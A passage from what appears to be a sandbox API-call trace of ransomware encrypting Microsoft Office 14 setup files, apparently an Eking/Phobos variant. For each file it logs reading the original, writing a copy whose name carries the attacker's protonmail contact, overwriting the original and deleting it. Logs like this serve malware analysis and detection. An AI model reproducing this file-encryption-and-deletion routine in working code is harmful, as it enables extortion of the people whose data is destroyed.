shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 0x20 [0279.227] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.227] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0279.227] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.228] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.228] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0279.228] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x10b2, lpOverlapped=0x0) returned 1 [0279.241] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x10c0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x10c0, lpOverlapped=0x0) returned 1 [0279.243] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0279.243] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.243] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.243] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x10b2, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x10b2, lpOverlapped=0x0) returned 1 [0279.244] FlushFileBuffers (hFile=0x1a4) returned 1 [0279.277] FlushFileBuffers (hFile=0x1b4) returned 1 [0279.292] CloseHandle (hObject=0x1a4) returned 1 [0279.292] CloseHandle (hObject=0x1b4) returned 1 [0279.292] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Office32.WW\\Office32WW.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\office32.ww\\office32ww.xml")) returned 1 [0279.294] SetEvent (hEvent=0xe0) returned 1 [0279.294] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0279.294] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=1988) returned 1 [0279.295] CloseHandle (hObject=0x1b4) returned 1 [0279.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0279.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 0x20 [0279.295] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.295] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0279.295] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.296] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.296] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0279.297] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x7c4, lpOverlapped=0x0) returned 1 [0279.299] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x7d0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x7d0, lpOverlapped=0x0) returned 1 [0279.300] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0279.301] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.301] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.301] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x7c4, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x7c4, lpOverlapped=0x0) returned 1 [0279.301] FlushFileBuffers (hFile=0x1b4) returned 1 [0279.330] FlushFileBuffers (hFile=0x1a4) returned 1 [0279.341] CloseHandle (hObject=0x1b4) returned 1 [0279.341] CloseHandle (hObject=0x1a4) returned 1 [0279.341] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OneNote.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\onenote.en-us\\setup.xml")) returned 1 [0279.343] SetEvent (hEvent=0xe0) returned 1 [0279.343] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0279.343] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=47520) returned 1 [0279.343] CloseHandle (hObject=0x1a4) returned 1 [0279.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0279.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 0x20 [0279.344] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0279.344] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.344] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.344] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0279.345] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xb9a0, lpOverlapped=0x0) returned 1 [0279.352] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xb9b0, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xb9b0, lpOverlapped=0x0) returned 1 [0279.354] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0279.354] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.354] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.354] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xb9a0, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xb9a0, lpOverlapped=0x0) returned 1 [0279.355] FlushFileBuffers (hFile=0x1a4) returned 1 [0279.491] FlushFileBuffers (hFile=0x1b4) returned 1 [0279.751] CloseHandle (hObject=0x1a4) returned 1 [0279.751] CloseHandle (hObject=0x1b4) returned 1 [0279.751] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\OSetupPS.dll" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\osetupps.dll")) returned 1 [0279.753] SetEvent (hEvent=0xe0) returned 1 [0279.841] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0279.842] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=3186) returned 1 [0279.842] CloseHandle (hObject=0x1b4) returned 1 [0279.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0279.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 0x20 [0279.842] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0279.842] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0279.843] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.843] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0279.843] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0279.881] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xc72, lpOverlapped=0x0) returned 1 [0279.908] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc80, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xc80, lpOverlapped=0x0) returned 1 [0279.910] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0279.910] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.911] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0279.911] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xc72, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0xc72, lpOverlapped=0x0) returned 1 [0279.911] FlushFileBuffers (hFile=0x1b4) returned 1 [0279.976] FlushFileBuffers (hFile=0x1a4) returned 1 [0280.055] CloseHandle (hObject=0x1b4) returned 1 [0280.055] CloseHandle (hObject=0x1a4) returned 1 [0280.055] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\OutlookMUI.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\outlookmui.xml")) returned 1 [0280.057] SetEvent (hEvent=0xe0) returned 1 [0280.058] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0280.058] GetFileSizeEx (in: hFile=0x1a4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=4207) returned 1 [0280.058] CloseHandle (hObject=0x1a4) returned 1 [0280.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0280.058] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 0x20 [0280.059] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a4 [0280.059] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.059] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.059] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1b4 [0280.060] ReadFile (in: hFile=0x1a4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0x106f, lpOverlapped=0x0) returned 1 [0280.091] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x1070, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x1070, lpOverlapped=0x0) returned 1 [0280.092] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xf2, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xf2, lpOverlapped=0x0) returned 1 [0280.092] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.093] SetFilePointerEx (in: hFile=0x1a4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.093] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x106f, lpNumberOfBytesWritten=0x2e3f71c, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f71c*=0x106f, lpOverlapped=0x0) returned 1 [0280.093] FlushFileBuffers (hFile=0x1a4) returned 1 [0280.403] FlushFileBuffers (hFile=0x1b4) returned 1 [0280.556] CloseHandle (hObject=0x1a4) returned 1 [0280.563] CloseHandle (hObject=0x1b4) returned 1 [0280.563] DeleteFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Outlook.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\outlook.en-us\\setup.xml")) returned 1 [0280.565] SetEvent (hEvent=0xe0) returned 1 [0280.567] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0280.568] GetFileSizeEx (in: hFile=0x1b4, lpFileSize=0x2e3f9e8 | out: lpFileSize=0x2e3f9e8*=715834) returned 1 [0280.568] CloseHandle (hObject=0x1b4) returned 1 [0280.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0280.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms")) returned 0x20 [0280.568] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0280.568] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1b4 [0280.569] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.569] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f9b0 | out: lpNewFilePointer=0x0) returned 1 [0280.569] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\pkeyconfig-office.xrm-ms.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\pkeyconfig-office.xrm-ms.id[9c354b42-3003].[davidshelper@protonmail.com].eking"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x1, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x1a4 [0280.569] ReadFile (in: hFile=0x1b4, lpBuffer=0x3250020, nNumberOfBytesToRead=0x110100, lpNumberOfBytesRead=0x2e3f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesRead=0x2e3f9bc*=0xaec3a, lpOverlapped=0x0) returned 1 [0280.602] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0xaec40, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0xaec40, lpOverlapped=0x0) returned 1 [0280.616] WriteFile (in: hFile=0x1a4, lpBuffer=0x3250020*, nNumberOfBytesToWrite=0x112, lpNumberOfBytesWritten=0x2e3f9a0, lpOverlapped=0x0 | out: lpBuffer=0x3250020*, lpNumberOfBytesWritten=0x2e3f9a0*=0x112, lpOverlapped=0x0) returned 1 [0280.616] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.616] SetFilePointerEx (in: hFile=0x1b4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2e3f710 | out: lpNewFilePointer=0x0) returned 1 [0280.616] WriteFile (in: hFile=0x1b4, lpBuffer=0x3250020*, 